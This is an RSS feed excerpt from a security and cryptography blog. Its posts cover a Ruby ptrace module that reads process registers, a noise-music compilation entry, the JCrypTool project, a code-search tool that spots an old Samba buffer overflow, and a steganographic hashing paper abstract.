		<description><![CDATA[A couple of days ago I needed to get the state of the cpu registers of a running process during some specific events. The project I was playing with was written in ruby so I wrote a tiny little module that does just that, gives you the value of the requested cpu register. The module is called [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=450&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>A couple of days ago I needed to get the state of the cpu registers of a running process during some specific events. The project I was playing with was written in ruby so I wrote a tiny little module that does just that, gives you the value of the requested cpu register. The module is called <span style="color:#008000;">reginfo</span> and below is the process I followed to do it.</p>
<p>First I had to write the C part of it, for the instrumentation. A simple way to get the registers is to use <a href="http://linux.die.net/man/2/ptrace">ptrace</a>. First we <span style="color:#008000;">attach</span> to a process, then we <span style="color:#008000;">get</span> the register, then we <span style="color:#008000;">detach <span style="color:#000000;">and finally return the value.</span></span></p>
<p>For this to work as a ruby module we have to use the ruby.h</p>
<pre class="brush: cpp;">
#include &quot;ruby.h&quot;
#include &lt;unistd.h&gt;
#include &lt;linux/ptrace.h&gt;
#include &lt;sys/user.h&gt; 

VALUE RegInfo = Qnil;
void Init_reginfo();

VALUE method_getr(VALUE self,VALUE arg,VALUE pid);

void Init_reginfo()
{
        RegInfo = rb_define_module(&quot;RegInfo&quot;);
        rb_define_method(RegInfo, &quot;getr&quot;, method_getr,2 );
}

VALUE method_getr(VALUE self, VALUE arg, VALUE pid)
{
	char* input=RSTRING_PTR(arg);
	pid_t  process = NUM2INT(pid);
	struct user_regs_struct registers;
	long out=0;
	char outreg[10];
	ptrace(PTRACE_ATTACH,process,0,0); //attach to process
	waitpid(process,NULL,0);
	ptrace(PTRACE_GETREGS,process,&amp;registers,&amp;registers); //get'em
	if (!strncasecmp(input,&quot;eax&quot;,3)){out = registers.eax;}  //make sure we don't cmpr case
	else if (!strncasecmp(input,&quot;edx&quot;,3)){out = registers.edx;}
	else if (!strncasecmp(input,&quot;ebx&quot;,3)){out = registers.ebx;}
	else if (!strncasecmp(input,&quot;ecx&quot;,3)){out = registers.ecx;}
	else if (!strncasecmp(input,&quot;ebp&quot;,3)){out = registers.ebp;}
	else if (!strncasecmp(input,&quot;esi&quot;,3)){out = registers.esi;}
	else if (!strncasecmp(input,&quot;eip&quot;,3)){out = registers.eip;}
	else {out =  registers.eip;} //default
	ptrace(PTRACE_DETACH,process,0,0); //detach from process
	snprintf(outreg,10,&quot;%lx&quot;,out);
	return rb_str_new2(outreg);
}
</pre>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">
<pre class="brush: cpp;">&lt;/pre&gt;
&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;</pre>
</div>
<p>Next it&#8217;s straight forward, we create an extconf.rb file which when we execute generates the Makefile which will compile our module.</p>
<pre class="brush: ruby;">
require 'mkmf'
extension_name = 'reginfo'
dir_config(extension_name)
create_makefile(extension_name)
</pre>
<p>And an example</p>
<pre class="brush: ruby;">
require 'reginfo'
include  RegInfo

pid = fork do
system(&quot;tail -f txt&quot;)
end

puts getr(&quot;eip&quot;,pid) #here we get EIP
</pre>
<p>The above  prints something like <span style="color:#008000;">b7f577d8</span></p>
<p>You can download reginfo from <a href="http://reginfo.googlecode.com/files/reginfo.so.gz">here</a>, the source code from <a href="http://reginfo.googlecode.com/files/reginfo-src.tar.gz">here</a> and project updates <a href="http://code.google.com/p/reginfo/">here</a>.</p>
<p><em><span style="color:#808080;">This is a very simple linux module at the moment that performs only this specific task, more functionality will be added soon. If you are looking for something a bit more elaborate, have a look at </span></em><a href="http://metasm.cr0.org/"><em><span style="color:#808080;">METASM</span></em></a><em><span style="color:#808080;">.</span></em></p>
<address><span style="font-family:Consolas, Monaco, 'Courier New', Courier, monospace;font-size:small;"><span style="line-height:18px;white-space:pre;"></p>
<p></span></span></address>
<br /> Tagged: module, registers, ruby <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/450/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=450&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2009/08/19/read-registers-with-ruby/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>The Art of Noise</title>
		<link>http://cipher.org.uk/2009/06/22/the-art-of-noise/</link>
		<comments>http://cipher.org.uk/2009/06/22/the-art-of-noise/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 19:17:45 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[computing]]></category>
		<category><![CDATA[noise]]></category>
		<category><![CDATA[sound]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/?p=252</guid>
		<description><![CDATA[This post is on different subject than the topics covered usually, it describes my entry to the Noise vs. Subversive Computing compilation. A couple of months ago Pascal Cretain invited me to participate in a very interesting project. A bunch of security people and a bunch of noise artists were going to collaborate, the mission [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=252&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><em><span style="color:#c0c0c0;">This post is on different subject than the topics covered usually, it describes my entry to the Noise vs. Subversive Computing compilation.</span></em></p>
<p>A couple of months ago <a href="http://www.myspace.com/pascalcretain">Pascal Cretain</a> invited me to participate in a very interesting project. A bunch of security people and a bunch of noise artists were going to collaborate, the mission was : The Noisicians will have &#8220;Subversive Computing&#8221; as their central theme, and the Subversive Technologists will work with &#8220;Noise&#8221;.</p>
<div id="attachment_282" class="wp-caption aligncenter" style="width: 225px"><img class="alignnone size-full wp-image-298" title="computationallyinfeasublerecords-215x300" src="http://cipherdotorgdotuk.files.wordpress.com/2009/06/computationallyinfeasublerecords-215x300.png?w=215&#038;h=300" alt="computationallyinfeasublerecords-215x300" width="215" height="300" /><p class="wp-caption-text">Noise vs. Subversive Computing</p></div>
<p>This may not sound very complex, but it is! Despite what we use noise for and what our perception of noise is, it is not easy to generate, compose and generally conceive it in a controlled and meaningful way. Cacophony or atonality can very quickly displease,  due to the surprise element which is usually generated by abnormal db fluctuations.</p>
<p>Having all these in mind, I start thinking of a way to create a natural sound (around noise) which will assist in creating a visually familiar image, without surprising the listener too much.</p>
<p>The idea that popped into my mind was to generate an audible version of a Rainbow. To do that I chose to use what it is known as the &#8220;<a href="http://en.wikipedia.org/wiki/Colors_of_noise">Colors of Noise</a>&#8220;, which refers to the power distribution in frequency spectrum of different types of noise.</p>
<p>If you think that it is easy to create different types of noise, then I have to assume that you haven&#8217;t tried. For my experiments I used the tools included in the <a href="http://ccrma.stanford.edu/planetccrma/software/">CCRMA</a>, and more specifically <a href="http://ccrma.stanford.edu/software/snd/snd/clm.html">CLM</a> (Common Lisp Music) and <a href="http://ccrma.stanford.edu/software/snd/">SND</a> (Sound editor).</p>
<p style="text-align:center;"><img style="border:0 initial initial;" title="sndscreenshot-takenfromsndsite-300x169" src="http://cipherdotorgdotuk.files.wordpress.com/2009/06/sndscreenshot-takenfromsndsite-300x169.png?w=300&#038;h=169" alt="sndscreenshot-takenfromsndsite-300x169" width="300" height="169" /></p>
<p>I also used several of the example scripts that come with these packages and in cases that I couldn&#8217;t create a specific &#8220;colour&#8221;, I used  a bit of artistic license and normal mixing (subtractive and additive) <code>e.g. yellow + red = orange. </code></p>
<p><strong>Example script to generate Green Noise (bounded brownian noise) :</strong><br />
<code><span style="color:green;">(definstrument (green3 start dur freq amp amp-env noise-freq noise-width noise-max-step)<br />
(let* ((grn (make-green-noise-interp :frequency noise-freq<br />
:amplitude noise-max-step<br />
:high (* 0.5 noise-width) :low (* -0.5 noise-width)))<br />
(osc (make-oscil freq))<br />
(e (make-env amp-env :scaler amp :duration dur))<br />
(beg (seconds-&gt;samples start))<br />
(end (+ beg (seconds-&gt;samples dur))))<br />
(run<br />
(lambda ()<br />
(do ((i beg (+ 1 i)))<br />
((= i end))<br />
(outa i (* (env e)<br />
(+ 1.0 (green-noise-interp grn))<br />
(oscil osc))))))))</span></code></p>
<p><code><span style="color:green;"> </span></code></p>
<p><code><span style="color:green;">(with-sound ()<br />
(green3 0 2.0 440 .5 '(0 0 1 1 2 1 3 0) 100 .2 .02))</span><br />
</code></p>
<p>Finally, all colours mix with the prior colour/s right after they introduce themselves.<br />
<code>Something like : Colours[0], Colours[1], Colours[0]+Colours[1], Colours[2], .........<br />
</code><br />
On the foreground , there is a minimalistic piano composition which tries to not distract too much from the background colours and helps in assisting the after rain &#8220;Rainbow&#8221; effect.</p>
<div id="attachment_232" class="wp-caption aligncenter" style="width: 310px"><img class="alignnone size-full wp-image-304" title="noisevssubversivecomputing-300x213" src="http://cipherdotorgdotuk.files.wordpress.com/2009/06/noisevssubversivecomputing-300x213.jpg?w=300&#038;h=213" alt="noisevssubversivecomputing-300x213" width="300" height="213" /><p class="wp-caption-text">Noise vs. Subversive Computing</p></div>
<p><strong>For more information</strong> about the project, the participants and their very interesting ideas,<br />
visit : <a href="http://www.myspace.com/pascalcretain">http://www.myspace.com/pascalcretain</a></p>
<p>The compilation has been released with<br />
<a href="http://www.myspace.com/pascalcretain">Computationally Infeasible Records</a></p>
<br /> Tagged: computing, noise, sound <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/252/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=252&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2009/06/22/the-art-of-noise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/06/computationallyinfeasublerecords-215x300.png" medium="image">
			<media:title type="html">computationallyinfeasublerecords-215x300</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/06/sndscreenshot-takenfromsndsite-300x169.png" medium="image">
			<media:title type="html">sndscreenshot-takenfromsndsite-300x169</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/06/noisevssubversivecomputing-300x213.jpg" medium="image">
			<media:title type="html">noisevssubversivecomputing-300x213</media:title>
		</media:content>
	</item>
		<item>
		<title>JCrypTool</title>
		<link>http://cipher.org.uk/2009/02/22/jcryptool/</link>
		<comments>http://cipher.org.uk/2009/02/22/jcryptool/#comments</comments>
		<pubDate>Sun, 22 Feb 2009 21:07:01 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[cryptanalysis]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/?p=107</guid>
		<description><![CDATA[Recently I&#8217;ve been invited by the CrypTool team to contribute to the JCrypTool project. I&#8217;ve been following CryptTool for some time and it is definitely one of the best tools to practice and experiment with cryptography and cryptanalysis. Looking at the latest JCrypTool version, it is apparent that there are vast design improvements, it is [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=107&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Recently I&#8217;ve been invited by the <a href="http://www.cryptool.com/">CrypTool</a> team to contribute to the <a href="http://jcryptool.sourceforge.net/">JCrypTool</a> project. I&#8217;ve been following CryptTool for some time and it is definitely one of the best tools to practice and experiment with cryptography and cryptanalysis.</p>
<p>Looking at the latest JCrypTool version, it is apparent that there are vast design improvements, it is also more modular, which makes the extensibility of the project a very easy task. There are several algorithms to use, symmetric, assymetric, hash, MAC etc. So there are lots of things to play with!</p>
<div id="attachment_137" class="wp-caption aligncenter" style="width: 310px"><img class="alignnone size-full wp-image-364" title="jcrypttool2-300x221" src="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool2-300x221.png?w=300&#038;h=221" alt="jcrypttool2-300x221" width="300" height="221" /> <img class="alignnone size-full wp-image-365" title="jcrypttool3-300x243" src="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool3-300x243.png?w=300&#038;h=243" alt="jcrypttool3-300x243" width="300" height="243" /><p class="wp-caption-text">Diffie-Hellman /AES</p></div>
<p>In the Cryptanalysis part of the tool, there is a Columnar Transposition module, Frequency analysis graphs, a<a href="http://en.wikipedia.org/wiki/Friedman_test">Friedman Test function</a> and a Vigenere analyser/helper, so there is space for additions. Speaking of additions, I particularly like the  <a href="http://jcryptool.wiki.sourceforge.net/ExtensionPointsAndArchitecture">plugins architecture</a> in use, which makes the project very interesting indeed.</p>
<div id="attachment_129" class="wp-caption aligncenter" style="width: 310px"><img class="alignnone size-full wp-image-367" title="jcrypttool1-300x182" src="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool1-300x182.png?w=300&#038;h=182" alt="jcrypttool1-300x182" width="300" height="182" /><img class="alignnone size-full wp-image-366" title="jcrypttool4-300x172" src="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool4-300x172.png?w=300&#038;h=172" alt="jcrypttool4-300x172" width="300" height="172" /><p class="wp-caption-text">Frequency Analysis / Shark </p></div>
<p>In the past, I developed a simple cryptanalysis <a href="http://www.cipher.org.uk/read/2006/04/04/jipher-v02a/">tool</a> which I am now intending to move into JCrypTool in the form of a plugin and possibly doing the same for a very old <a href="http://www.cipher.org.uk/read/2002/05/10/joystickcrypt/">project</a>.</p>
<p>I recommend you go and have a look at <a href="http://jcryptool.sourceforge.net/JCrypTool/Home.html">it</a><a>.</a></p>
<p><a></a></p>
<br /> Tagged: cryptanalysis, cryptography, tool <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/107/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=107&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2009/02/22/jcryptool/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool2-300x221.png" medium="image">
			<media:title type="html">jcrypttool2-300x221</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool3-300x243.png" medium="image">
			<media:title type="html">jcrypttool3-300x243</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool1-300x182.png" medium="image">
			<media:title type="html">jcrypttool1-300x182</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool4-300x172.png" medium="image">
			<media:title type="html">jcrypttool4-300x172</media:title>
		</media:content>
	</item>
		<item>
		<title>Source code review with AutoBugle</title>
		<link>http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/</link>
		<comments>http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/#comments</comments>
		<pubDate>Tue, 05 Feb 2008 22:23:40 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[bugle]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/read/2008/02/05/source-code-review-with-bugle/</guid>
		<description><![CDATA[Note: Auto Bugle is a discontinued project This article is kept just for reference. I will try to package the source code and give it as a download at some point. Some time ago I start creating a list of google queries (Bugle) people could use to hunt bugs in source code available in the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=61&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong><br />
Note: Auto Bugle is a discontinued project<br />
</strong><br />
<em> </em></p>
<p><em> </em></p>
<blockquote><p>This article is kept just for <strong>reference</strong>. I will try to package the source code and give it as a download at some point.</p></blockquote>
<hr />Some time ago I start creating a list of google queries (Bugle) people could use to hunt bugs in source code available in the web. The project started before Google Code Search, so the only way to point to source code was using the Filetype and <span style="text-decoration:underline;">? * .</span> operators which worked pretty well. After a couple  of months Google announced the Code Search service and the accompanied API which made things much more interesting. Using the new Google service people  can supply full regular expression when searching and pinpoint to Bugs a bit more accurately.</p>
<p>Anyway, to cut a long story short, utilising <a title="jQuery" href="http://jquery.com/">jQuery</a>, <a title="Google Code Search API" href="http://code.google.com/apis/codesearch/">Google Code Search API</a> and <a title="Bugle" href="http://www.cipher.org.uk/bugle/">Bugle</a>, I created an <span style="text-decoration:line-through;"><span style="color:#0000ff;">automated version</span></span> of the Bugle project which  looks as close as possible to a desktop based source code review tool.</p>
<p><img class="alignnone size-full wp-image-370" title="bugleautosnapshot1" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautosnapshot1.png?w=433&#038;h=394" alt="bugleautosnapshot1" width="433" height="394" /><br />
To demonstrate Bugle Automated I will be looking for bugs in Samba. The first step is to add the package you want to inspect in the Scan field, as you can see below there is Auto Complete functionality available suggesting possible packages while you type a name.</p>
<p><img class="alignnone size-full wp-image-371" title="bugleautostep1" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep1.png?w=598&#038;h=237" alt="bugleautostep1" width="598" height="237" /></p>
<p>After choosing a package, press scan an Bugle will do the rest.</p>
<p>The first screen you see is a bit empty , both the Main Panel and the Stats Panel will load as soon as you choose a vulnerability category from the left side. Bugle displays the number of issues of each category, so you can immediately get an general idea on where you might find a bug.</p>
<p><img class="alignnone size-medium wp-image-372" title="bugleautostep2" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep2.png?w=233&#038;h=300" alt="bugleautostep2" width="233" height="300" /></p>
<p>As soon as you choose a category a sub menu will be revealed, presenting all the different signatures in that category. At the same time the statistics Panel will load and all the relevant graphs for the project/categories and categories/signatures will be displayed.</p>
<p><img class="alignnone size-medium wp-image-373" title="bugleautostep6" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep6.png?w=300&#038;h=145" alt="bugleautostep6" width="300" height="145" /></p>
<p>Next we choose the Buffer Overflows category, with 205 hits and then the Generic BoF signature (with 50 hits). The Main Panel loads and then we can see each individual line with a possible bug. We scroll down until we find something that could be a vulnerability and click on that line.<br />
<img class="alignnone size-medium wp-image-374" title="bugleautostep4" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep4.png?w=300&#038;h=136" alt="bugleautostep4" width="300" height="136" /><br />
We click the Line 117 of samba-1.9.15p8.mvs/source/sockspy.c and we inspect the code in the Code Snippet dialog. Then we scroll down until we find the  line with the yellow highlighted text<br />
<img class="alignnone size-medium wp-image-375" title="bugleautostep5" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep5.png?w=300&#038;h=284" alt="bugleautostep5" width="300" height="284" /></p>
<p>We can see that   strcpy(DestHost,argv[1]);  is copying the arv[1] into the DestHost buffer which has 256 chars size. Now we can guess that if we pass in the command line DestHost larger than 256 chars we can create a buffer overflow condition. (Note that this bug in sockspy.c is in a very very very old version of Samba)</p>
<p>That&#8217;s <span style="color:#0000ff;"><span style="text-decoration:line-through;">Bugle Auto Scanner</span></span>, hopefully this will assist in discovering and fixing bugs out there.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/61/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/61/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/61/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=61&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautosnapshot1.png" medium="image">
			<media:title type="html">bugleautosnapshot1</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep1.png" medium="image">
			<media:title type="html">bugleautostep1</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep2.png?w=233" medium="image">
			<media:title type="html">bugleautostep2</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep6.png?w=300" medium="image">
			<media:title type="html">bugleautostep6</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep4.png?w=300" medium="image">
			<media:title type="html">bugleautostep4</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep5.png?w=300" medium="image">
			<media:title type="html">bugleautostep5</media:title>
		</media:content>
	</item>
		<item>
		<title>Using Steganography to Improve HASH Functions’ collision resistance</title>
		<link>http://cipher.org.uk/2007/08/08/using-steganography-to-improve-hash-functions%e2%80%99-collision-resistance/</link>
		<comments>http://cipher.org.uk/2007/08/08/using-steganography-to-improve-hash-functions%e2%80%99-collision-resistance/#comments</comments>
		<pubDate>Wed, 08 Aug 2007 22:38:28 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Publications]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/?p=197</guid>
		<description><![CDATA[Abstract: Lately, hash function security has received increased attention. Especially after the recent attacks that were presented for SHA-1 and MD5, the need for a new and more robust hash function has become imperative. Even though many solutions have been proposed as replacements, the transition to a new function could be costly and complex. In [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=197&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Abstract:<br />
Lately, hash function security has received increased attention. Especially after the recent attacks that were presented for SHA-1 and MD5, the need for a new and more robust hash function has become imperative. Even though many solutions have been proposed as replacements, the transition to a new function could be costly and complex.</p>
<p>In this paper, we introduce a mode of operation that can be applied to any existing or future hash function in order to improve its collision resistance. In particular, we use steganography, the art of hiding a message into another message, to create a scheme, named Σ-Hash, which enforces the security of hashing algorithms. We will demonstrate how, apart from hash function security, Σ-Hash can also be used for securing Open Source code from tampering attacks and other applications.</p>
<p><em>Conference: SECRYPT &#8211; International Conference on Security and Cryptography, Spain 2007<br />
Authors: <a href="http://www.cipher.org.uk">Emmanouel Kellinis</a> and Konstantinos Papapanagiotou </em></p>
<p>If you need more information about this paper, <a href="http://www.cipher.org.uk/write/">get in touch</a>.</p>
